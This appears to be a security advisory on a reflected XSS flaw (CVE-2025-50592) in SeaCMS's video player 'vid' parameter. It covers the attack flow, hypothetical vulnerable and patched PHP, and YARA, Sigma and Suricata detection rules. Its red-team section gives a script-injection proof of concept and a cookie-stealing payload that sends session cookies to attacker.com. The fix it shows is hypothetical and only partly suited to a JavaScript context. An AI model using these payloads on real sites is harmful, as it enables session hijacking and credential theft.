CVE-2025-50592

Executive Summary

CVE-2025-50592 is a reflected Cross-Site Scripting (XSS) vulnerability in SeaCMS, a popular content management system for video websites. The flaw exists in the /Upload/js/player/dmplayer/player endpoint, where the vid parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript code in the vid parameter. When a victim visits this crafted URL, the script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects SeaCMS versions prior to 13.2. No official patch details are available at this time, and the vendor's status is listed as UNKNOWN/UNPATCHED.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the SeaCMS PHP application.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the nature of the vulnerability, a reasonable assessment is:

• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Required (R) - The victim must click the crafted link.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited modification of data.
• Availability (A): None (N) - No impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction, but the attack surface is broad as it only requires a crafted link.

Deep Dive & Mechanics

The vulnerability resides in the SeaCMS video player component located at /Upload/js/player/dmplayer/player. This endpoint likely processes the vid parameter to load a specific video. The application fails to sanitize or encode the vid parameter before reflecting it in the HTTP response.

Attack Flow:

1. An attacker identifies the vulnerable endpoint: http://target.com/Upload/js/player/dmplayer/player?vid=.
2. The attacker crafts a malicious URL with a JavaScript payload in the vid parameter, e.g., http://target.com/Upload/js/player/dmplayer/player?vid=<script>alert('XSS')</script>.
3. The attacker tricks a victim into clicking the crafted URL (e.g., via phishing email, social media, or a forum post).
4. The victim's browser sends a request to the SeaCMS server.
5. The server reflects the unsanitized vid parameter value in the HTML response.
6. The victim's browser executes the injected JavaScript, believing it came from the trusted SeaCMS domain.

Root Cause: Lack of output encoding or input validation on the vid parameter before it is included in the server's response.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on standard XSS remediation.

Vulnerable Code (PHP - Hypothetical):

<?php
$vid = $_GET['vid'];
echo "<script>var videoId = '$vid';</script>";
?>

Patched Code (PHP - Hypothetical):

<?php
$vid = htmlspecialchars($_GET['vid'], ENT_QUOTES, 'UTF-8');
echo "<script>var videoId = '$vid';</script>";
?>

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable SeaCMS instance (version < 13.2).
• A web browser.

Proof of Concept (PoC):

1. Navigate to the vulnerable endpoint with a simple alert payload:

   http://target.com/Upload/js/player/dmplayer/player?vid=<script>alert('XSS')</script>
   

2. If the vulnerability is present, a JavaScript alert box with the text "XSS" will appear.

Advanced Payload (Session Hijacking):

1. Set up a listener to capture cookies (e.g., using a simple Python HTTP server or a service like webhook.site).
2. Craft a URL that sends the victim's cookies to your listener:

   http://target.com/Upload/js/player/dmplayer/player?vid=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. When the victim clicks the link, their cookies are sent to your server.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /Upload/js/player/dmplayer/player with suspicious vid parameters containing <script>, onerror, javascript:, or other XSS indicators.
• Use a Web Application Firewall (WAF) to block requests with malicious payloads in the vid parameter.

Mitigation:

• Immediately upgrade SeaCMS to version 13.2 or later if a patch becomes available.
• If patching is not possible, implement a virtual patch using a WAF to filter out malicious vid parameters.
• Apply input validation and output encoding to the vid parameter in the application code.

Indicators of Compromise (IOCs)

• URL Pattern: Requests to /Upload/js/player/dmplayer/player with a vid parameter containing HTML or JavaScript code.
• Log Entries: HTTP 200 responses to the vulnerable endpoint with vid parameters containing <script>, %3Cscript%3E, or similar encoded payloads.
• Network Traffic: Outbound connections from a victim's browser to an attacker-controlled server, especially if the payload is designed for data exfiltration.

Detection Engineering

YARA Rule

rule CVE_2025_50592_SeaCMS_XSS {
    meta:
        description = "Detects XSS attempts against SeaCMS CVE-2025-50592"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50592"
    strings:
        $url_pattern = "/Upload/js/player/dmplayer/player"
        $xss_payload_1 = "<script"
        $xss_payload_2 = "onerror="
        $xss_payload_3 = "javascript:"
    condition:
        $url_pattern and any of ($xss_payload_*)
}

Sigma Rule

title: SeaCMS XSS via vid Parameter
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against SeaCMS CVE-2025-50592
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/Upload/js/player/dmplayer/player"
        cs-uri-query|contains|all:
            - "vid="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in vid parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50592 SeaCMS XSS Attempt"; flow:to_server,established; content:"/Upload/js/player/dmplayer/player"; http_uri; content:"vid="; http_uri; pcre:"/vid=.*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, upgrade SeaCMS to version 13.2 or later. Check the official SeaCMS website or repository for a security patch.
2. Virtual Patching: If an upgrade is not immediately possible, deploy a WAF rule to block requests to /Upload/js/player/dmplayer/player that contain suspicious patterns in the vid parameter.
3. Code-Level Fix: Apply output encoding (e.g., htmlspecialchars() in PHP) to the vid parameter before it is reflected in the response.
4. User Education: Train users to be cautious of clicking links in unsolicited emails or messages, especially those containing video player URLs.
5. Monitoring: Continuously monitor web server logs for exploitation attempts and investigate any suspicious activity.

Valters IT